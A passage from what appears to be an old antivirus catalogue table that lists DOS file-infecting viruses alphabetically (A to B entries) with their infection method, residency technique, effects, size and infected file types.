ºAngry.393 ¦INT ¦MCB ¦ Er ¦393 ¦ C * ¦ e ¦ L º
ºAnimals.2400 ¦INT ¦MCB ¦ V ¦2400 ¦ CE ¦ e ¦ L º
ºAnsiBomb ¦FIND¦ - ¦ HV ¦281 ¦ .C * ¦ s ¦ 0, overwrite º
ºAnsiC.1000 ¦FIND¦ - ¦ HV ¦1000 ¦ .C.E* ¦ e ¦ L º
ºAnthrax ¦INFI¦MCB ¦ H ¦1024 ¦ CE+boot*¦ e ¦ L+p º
ºAntiCMOS.726 ¦FIND¦ - ¦ H ¦726 ¦ .E&E* ¦ e ¦ L º
ºAntiFortran.1110INT ¦MCB ¦ H ¦1110 ¦ E * ¦ e ¦ L+p º
ºAntiTrace.2122 ¦INT ¦MCB ¦ V ¦2122 ¦ .C&C* ¦ e ¦ L º
ºAreopag.480 ¦INT ¦MCB ¦ Ch ¦480 ¦ C * ¦ e ¦ L º
ºAreThree.2048(3)INT ¦MCB ¦ V ¦2048 ¦ CE+boot*¦ e ¦ L+p º
ºArg.1206 ¦INT ¦KEEP¦ V ¦1206 ¦ .C ¦ s ¦ L º
ºArianna.3375 ¦INT ¦MCB ¦ HV ¦3375 ¦ E+boot ¦ e ¦ L º
ºArjVirus ¦FIND¦ - ¦ - ¦5000 ¦ .ARJ * ¦ i ¦ L+? º
ºArmagedon.1079 ¦INT ¦KEEP¦ Ch ¦1079 ¦ .C * ¦ s ¦ L º
ºArtemiev.2165 ¦INT ¦MCB ¦ V ¦2165 ¦ .C.E&CE* ¦ e ¦ L º
ºArusiek.817 ¦INT ¦MCB ¦ Ch ¦817 ¦ .C.E ¦ e ¦ L º
ºAsmVirus.238 ¦FIND¦ - ¦ - ¦238 ¦ *.ASM * ¦ s ¦ L+2188 º
ºAsprin.2515 ¦FIND¦ * ¦ - ¦2515 ¦ .C.E * ¦ e ¦ L+p º
ºAT.132 ¦INT ¦INTB¦ - ¦132 ¦ C ¦ e ¦ L º
ºAuspar.387 ¦INT ¦MCB ¦ - ¦387 ¦ E ¦ e ¦ L+p º
ºAussie.147 ¦FIND¦ - ¦ H ¦147 ¦ .C * ¦ s ¦ 0, overwrite º
ºAutumnal.3072 ¦INT ¦KEEP¦ HV ¦3072 ¦ .C.E+boot¦ e ¦ C-L, E-L+p º
ºAvalgasil.666 ¦INT ¦MCB ¦ - ¦666 ¦ .E&E * ¦ e ¦ L º
ºAvalon.814 ¦INT ¦MCB ¦ HV ¦814 ¦ CE ¦ e ¦ L º
ºAvispa.2048 (5)¦INT ¦KEEP¦ VCh¦2048 ¦ E * ¦ e ¦ L+p º
ºAvvaddon.1100 ¦INT ¦MCB ¦ V ¦1100 ¦ E * ¦ e ¦ L º
ºAWME.AD.1267 ¦FIND¦ - ¦ - ¦1267 ¦ .C&C * ¦ e ¦ L+? º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part B
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºBaba.350 ¦INT ¦MCB ¦ - ¦350 ¦ C * ¦ e ¦ L º
ºBaba.353 (2)¦INT ¦MCB ¦ - ¦353 ¦ C * ¦ e ¦ L º
ºBaba.366 ¦INT ¦MCB ¦ - ¦366 ¦ ? * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBaby.60 ¦INT ¦KEEP¦ - ¦60 ¦ CEO* ¦ s ¦ L, companion º
ºBaby.82 ¦INT ¦KEEP¦ - ¦82 ¦ CEO* ¦ s ¦ L, companion º
ºBaby.83 ¦INT ¦KEEP¦ - ¦83 ¦ CEO* ¦ s ¦ L, companion º
ºBaby.100 ¦INT ¦KEEP¦ - ¦100 ¦ CEO* ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBadBoy.1000 (7)¦INT ¦MCB ¦ - ¦1000 ¦ C ¦ s ¦ L+1 º
ºBadBoy.1055 ¦INT ¦MCB ¦ V ¦1055 ¦ C ¦ s ¦ L+1 º
ºBadBoy.Rainbow(11INT¦MCB ¦ V ¦1000 ¦ C ¦ s ¦ L+1+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBackFormat.2000¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º (2)¦INT ¦MCB ¦ H ¦2000 ¦ .C.E&CE* ¦ e ¦ L, COMMAND.COM-0 º
ºBackFormat.2320¦INT ¦MCB ¦ H ¦2320 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0º
ºBackFormat.2345¦INT ¦MCB ¦ H ¦2345 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0º
ºBackFormat.2381¦INT ¦MCB ¦ H ¦2381 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBadSectors.3422¦INT ¦MCB ¦ Ch ¦3422 ¦ .C.E&CE* ¦ e ¦ L+p º
ºBadSectors.3428¦INT ¦MCB ¦ Ch ¦3428 ¦ .C.E&CE* ¦ e ¦ L+p º
ºBadSectors.3627¦INT ¦MCB ¦ Ch ¦3627 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBAME.Demo ¦INT ¦MCB ¦ Ch ¦2616 ¦ .C * ¦ e ¦ L+500 º
º.Saboteur ¦INT ¦MCB ¦ HV ¦4020 ¦ .C * ¦ e ¦ L+500 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBaobab.731 ¦INT ¦MCB ¦ - ¦731 ¦ E ¦ e ¦ L+p º
ºBaobab.1635 ¦INT ¦ADDR¦ - ¦1635 ¦ E * ¦ e ¦ L+p º
ºBaobab.2304 ¦INT ¦ADDR¦ - ¦2304 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBaran.3294 ¦INT ¦MCB ¦ V ¦3294 ¦ CE * ¦ e ¦ L º
ºBaran.4968 ¦INT ¦MCB ¦ H ¦4968 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBarrotes.1303 ¦INT ¦MCB ¦ Ch ¦1303 ¦ CE * ¦ e ¦ L º
ºBarrotes.1310 ¦INT ¦MCB ¦ HV ¦1310 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBAT.282 ¦FIND¦ - ¦ - ¦282 ¦ VIRUS.BAT*¦ s ¦ L º
º.Batalia.491 ¦FIND¦ - ¦ - ¦491 ¦ .B * ¦ s ¦ L º
º.Batalia.2011 ¦FIND¦ - ¦ - ¦2011 ¦ .B * ¦ s ¦ L º
º.Batman ¦INT ¦KEEP¦ - ¦186 ¦ B * ¦ s ¦ L ++ º
º.BatVir ¦FIND¦ - ¦ - ¦2097 ¦ .B * ¦ e ¦ L ++ º
º.Ditty ¦FIND¦ - ¦ - ¦404 ¦ .B * ¦ s ¦ L º
º.Highjaq ¦FIND¦ * ¦ Ch ¦1400 ¦.B,ARJ-arc*¦ s,e ¦ L º
º.Naive ¦INT ¦KEEP¦ V ¦4894 ¦ .B * ¦ s ¦ L º
º.Pot ¦FIND¦ - ¦ - ¦1638 ¦ .B * ¦ e ¦ L º
º.Skul ¦FIND¦ - ¦ H ¦1100 ¦ .B * ¦ e ¦ L º
º.Winstart.296 ¦INT ¦HMA ¦ - ¦296 ¦WINSTART.BAT s* ¦ L º
º.Winstart.297 ¦INT ¦HMA ¦ - ¦297 ¦WINSTART.BAT s* ¦ L º
º.Xop.367 ¦FIND¦ - ¦ - ¦367 ¦ .B * ¦ e ¦ L º
º.Xop.850 ¦FIND¦ - ¦ - ¦850 ¦ .B * ¦ e ¦ L º
º.Zep ¦FIND¦ - ¦ - ¦226 ¦ .B * ¦ e ¦ L º
º.Zop (2)¦FIND¦ - ¦ - ¦1638 ¦ .B * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBatman.237 ¦INT ¦INTB¦ - ¦237 ¦ C * ¦ e ¦ L º
ºBatman.2844 ¦INFI¦MCB ¦ Er ¦2844 ¦ .E&E * ¦ e ¦ L+p º
ºBatman.3372 ¦INT ¦KEEP¦ S ¦3372 ¦ .E ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBeast.512 (6)¦INT ¦BUFF¦ - ¦512 ¦ .C ¦ s ¦ 0 º
ºBeast.Zver ¦INT ¦MCB ¦ H ¦689 ¦ C * ¦ s ¦ 0 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBebe.486 ¦FIND¦ - ¦ Ch ¦486 ¦ .C ¦ e ¦ L º
ºBebe.1004 ¦FIND¦ADDR¦ V ¦1004 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBeda.337 ¦INT ¦MCB ¦ - ¦337 ¦ C * ¦ e ¦ L+p º
ºBeda.338 ¦INT ¦INTB¦ - ¦338 ¦ E * ¦ e ¦ L º
ºBeda.352 ¦INT ¦INTB¦ - ¦352 ¦ E * ¦ e ¦ L º
ºBeda.883 ¦INT ¦MCB ¦ V ¦883 ¦ C * ¦ e ¦ L+p º
ºBeda.1301 ¦INT ¦MCB ¦ V ¦1301 ¦ C * ¦ e ¦ L+p º
ºBeda.1530 ¦INT ¦MCB ¦ HCh¦1530 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBeer.645 ¦INT ¦MCB ¦ V ¦645 ¦ C * ¦ e ¦ L º
ºBeer.2473 ¦INT ¦MCB ¦ HVS¦2473 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.2620 ¦INT ¦MCB ¦ VS ¦2620 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.2794 ¦INT ¦MCB ¦ VS ¦2794 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.2850 ¦INT ¦MCB ¦ VS ¦2850 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.2984 ¦INT ¦MCB ¦ VS ¦2984 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.3047 ¦INFI¦MCB ¦ MVH¦3047 ¦ .C.E&CE ¦ e ¦ C-L, E-L+259+p º
ºBeer.3164 (2)¦INT ¦MCB ¦ HVS¦3164 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.3192 (3)¦INT ¦MCB ¦ HVS¦3192 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.3307 ¦INT ¦MCB ¦ HVS¦3307 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.3399 ¦INT ¦MCB ¦ HVS¦3399 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ºBeer.3490 (2)¦INT ¦MCB ¦ HVS¦3490 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
º.Kalinka.2920 ¦INFI¦MCB ¦ HVS¦2920 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
º.Kalinka.3225 ¦INFI¦MCB ¦ HVS¦3225 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
º.Kalinka.3434 ¦INFI¦MCB ¦ HVS¦3434 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
º.Kalinka.3612 ¦INFI¦MCB ¦ HVS¦3612 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBefore.1196 ¦INT ¦MCB ¦ Ch ¦1196 ¦ CEO * ¦ s ¦ L º
ºBefore.2915 ¦INT ¦MCB ¦ Ch ¦2915 ¦ CEO * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBG.1348 ¦INT ¦MCB ¦ V ¦1348 ¦ E * ¦ e ¦ L+p º
ºBG.2135 ¦INFI¦MCB ¦ V ¦2135 ¦ .C.E&CE* ¦ e ¦ L+p º
ºBG.3084 ¦INT ¦MCB ¦ HV ¦3084 ¦ E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBGU.1295 ¦INT ¦MCB ¦VSEr¦1295 ¦ .C.E&CE* ¦ e ¦ L º
ºBGU.1298 ¦INT ¦MCB ¦VSEr¦1298 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBigMouse.900 ¦INT ¦MCB ¦ V ¦900 ¦ E * ¦ e ¦ L º
ºBigMouse.998 ¦INT ¦MCB ¦ H ¦998 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBishkek.319 ¦FIND¦ - ¦ HV ¦319 ¦ .C * ¦ s ¦ L º
ºBishkek.559 ¦FIND¦ - ¦ - ¦559 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBitAddict.979 ¦INT ¦BUFF¦ - ¦979 ¦ CE * ¦ e ¦ L+p º
ºBitAddict.1190 ¦INT ¦BUFF¦ - ¦1190 ¦ CE * ¦ e ¦ L+p º
ºBitAddict.1459 ¦INT ¦BUFF¦ H ¦1459 ¦ .C.E&CE* ¦ e ¦ L+p º
ºBitAddict.1601 ¦INT ¦BUFF¦ H ¦1601 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBishop.2855 ¦FIND¦ - ¦ HV ¦2855 ¦ .C * ¦ s ¦ 0, overwrite º
ºBishop.4517 ¦FIND¦ - ¦ HV ¦4517 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBlackJec.231 ¦FIND¦ - ¦ - ¦231 ¦ .C * ¦ s ¦ L º
ºBlackJec.232 ¦FIND¦ - ¦ - ¦232 ¦ .C * ¦ s ¦ L º
ºBlackJec.235 ¦FIND¦ - ¦ - ¦235 ¦ .C * ¦ s ¦ L º
ºBlackJec.236 ¦FIND¦ - ¦ - ¦236 ¦ .C * ¦ s ¦ L º
ºBlackJec.247 ¦FIND¦ - ¦ - ¦247 ¦ .C * ¦ s ¦ L º
ºBlackJec.252 ¦FIND¦ - ¦ - ¦252 ¦ .C * ¦ s ¦ L º
ºBlackJec.267 ¦FIND¦ - ¦ - ¦267 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.272 ¦FIND¦ - ¦ - ¦272 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.276 ¦FIND¦ - ¦ - ¦276 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.281 ¦FIND¦ - ¦ - ¦281 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.287 ¦FIND¦ - ¦ - ¦287 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.292 ¦FIND¦ - ¦ - ¦292 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.301 ¦FIND¦ - ¦ - ¦301 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.307 ¦FIND¦ - ¦ - ¦307 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.358 ¦FIND¦ - ¦ - ¦358 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.363 ¦FIND¦ - ¦ - ¦363 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.369 ¦FIND¦ - ¦ - ¦369 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.374 ¦FIND¦ - ¦ - ¦374 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.378 ¦FIND¦ - ¦ - ¦378 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.427 ¦FIND¦ - ¦ - ¦427 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.440 ¦FIND¦ - ¦ - ¦440 ¦ .C&C * ¦ s ¦ L º
ºBlackJec.441 ¦FIND¦ - ¦ - ¦441 ¦ .C&C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBlah.3379 ¦INT ¦MCB ¦ - ¦3379 ¦ .B+boot * ¦ s ¦ L º
ºBlah.3385 ¦INT ¦MCB ¦ Er ¦3385 ¦ .B+boot * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBootCom.Light ¦INT ¦MCB ¦ - ¦512 ¦ C+boot * ¦ e ¦ L º
º.Max ¦INT ¦MCB ¦ - ¦437 ¦ C+boot * ¦ e ¦ L º
º.Peanut.445 ¦INT ¦MCB ¦ H ¦445 ¦ C+boot * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBootExe.174 ¦INT ¦INTB¦ H ¦174 ¦ CE+boot * ¦ s ¦ 0, overwrite º
ºBootExe.331 ¦INT ¦MCB ¦ - ¦331 ¦ E+boot ¦ i ¦ 0, inserting º
ºBootExe.443 ¦INT ¦MCB ¦ H ¦443 ¦ E+boot * ¦ i ¦ 0, inserting º
ºBootExe.444 ¦INT ¦MCB ¦ - ¦444 ¦ E+boot * ¦ i ¦ 0, inserting º
ºBootExe.451 (2)¦INT ¦MCB ¦ H ¦451 ¦ E+boot * ¦ i ¦ 0, inserting º
ºBootExe.452 ¦INT ¦MCB ¦ H ¦452 ¦ E+boot * ¦ i ¦ 0, inserting º
º.Andryushka ¦INT ¦MCB ¦ H ¦464 ¦ E+boot * ¦ i ¦ 0, inserting º
º.Dogcher ¦INT ¦INTB¦ H ¦512 ¦ E+boot * ¦ i ¦ 0, overwrite º
º.Nutcracker ¦INT ¦MCB ¦ H ¦466 ¦ E+boot * ¦ i ¦ 0, overwrite º
º.Olga ¦INT ¦MCB ¦ H ¦483 ¦ E+boot * ¦ i ¦ 0, inserting º
º.Platov ¦INT ¦ADDR¦ H ¦403 ¦ E+boot * ¦ i ¦ 0, inserting º
º.Stalker.310 ¦INT ¦MCB ¦ - ¦310 ¦ E+boot * ¦ i ¦ 0, inserting º
º.Stalker.320 ¦INT ¦MCB ¦ - ¦320 ¦ E+boot * ¦ i ¦ 0, inserting º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBrPI.511 ¦INT ¦MCB ¦ Er ¦511 ¦ CE * ¦ e ¦ L º
ºBrPI.555 ¦INT ¦MCB ¦ VEr¦555 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBupt.1220 ¦INFI¦MCB ¦ V ¦1220 ¦ .C.E&CE ¦ e ¦ C-L, E-L+p º
ºBupt.1363 ¦INT ¦KEEP¦ V ¦1363 ¦ .C.E * ¦CsEe ¦ C-L+4, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBurger.382 ¦FIND¦ - ¦ H ¦382 ¦ .C * ¦ s ¦ 0, overwrite º
ºBurger.560 ¦FIND¦ - ¦ H ¦560 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBurma.442 (2)¦FIND¦ - ¦ HV ¦442 ¦ .C.E * ¦ s ¦ 0, overwrite º
ºBurma.666 ¦FIND¦ - ¦ HV ¦666 ¦ .C.E * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºBace.338 ¦INT ¦MCB ¦ - ¦338 ¦ E ¦ e ¦ L º
ºBackfont.765 ¦INT ¦MCB ¦ H ¦765 ¦ E ¦ e ¦ L º
ºBadless.494 ¦FIND¦ - ¦ HV ¦494 ¦ C * ¦ e ¦ L º
ºBalashiha.271 ¦INT ¦INTB¦ Ch ¦271 ¦ C * ¦ e ¦ L º
ºBambr.431 ¦FIND¦ - ¦ - ¦431 ¦ .C * ¦ e ¦ L º
ºBashar.670 ¦INT ¦MCB ¦ - ¦670 ¦ C ¦ e ¦ L º
ºBasilisk.1639 ¦INT ¦MCB ¦ VCh¦1639 ¦ .C.E&CE* ¦ e ¦ L+p º
ºBastard.1979 ¦INT ¦MCB ¦ HV ¦1979 ¦ E * ¦ e ¦ E-L+p,COMMAND-200º
ºBauman.2203 ¦FIND¦ * ¦ H ¦2203 ¦ .C.E&CE* ¦CeEi ¦ C-L, E-L+6 º
ºBazil.1956 ¦FIND¦ - ¦ V ¦1956 ¦ .C * ¦ e ¦ L º
ºBeep.2000 ¦INT ¦KEEP¦ M ¦2000 ¦ CE ¦ e ¦ L º
ºBerlinHQ.434 ¦FIND¦ - ¦ V ¦434 ¦ .C&C * ¦ s ¦ L º
ºBeside.200 ¦INT ¦KEEP¦ HV ¦200 ¦ CEO * ¦ s ¦ 0, overwrite º
ºBillboard.835 ¦FIND¦ - ¦ V ¦835 ¦ .C * ¦ s ¦ L º
ºBingger.489 ¦FIND¦ - ¦ H ¦489 ¦ .C * ¦ e ¦ L+257+(0..255) º
ºBirthday.512 ¦FIND¦ - ¦ H ¦512 ¦ .C * ¦ e ¦ L+p º
ºBitch.252 (2)¦INT ¦DOSD¦ - ¦252 ¦ .C * ¦ e ¦ L º
ºBizarre.2716 ¦INT ¦MCB ¦ - ¦2716 ¦ C ¦ s ¦ L º
ºBjk.2814 ¦INT ¦MCB ¦ HV ¦2814 ¦ .C.E&CE ¦ e ¦ C-L, E-L+p º
ºBlackSun.2372 ¦INT ¦MCB ¦ V ¦2372 ¦ .C.E&CE* ¦ e ¦ L º
ºBlackMonday.1055INT ¦KEEP¦ H ¦1055 ¦ .C.E * ¦ e ¦ C-L, E-L+p º
ºBlava.787 ¦INT ¦MCB ¦ - ¦787 ¦ C * ¦ e ¦ L º
ºBlin.1457 ¦INT ¦MCB ¦ - ¦1457 ¦ E ¦ e ¦ L+? º
ºBlind.549 ¦FIND¦ - ¦ Er ¦549 ¦ .C * ¦ e ¦ L º
ºBlink.501 ¦INT ¦MCB ¦ V ¦501 ¦ C * ¦ e ¦ L º
ºBlueRiver.1180 ¦INT ¦MCB ¦ - ¦1180 ¦ CE ¦ e ¦ L º
ºBobby.613 ¦FIND¦ - ¦ V ¦613 ¦ .C * ¦ e ¦ L º
ºBomzh.3809 ¦INT ¦KEEP¦ Ch ¦3809 ¦ .E&E * ¦ e ¦ L+p º
ºBowl.737 ¦FIND¦ - ¦ - ¦737 ¦ .C&C * ¦ e ¦ L º
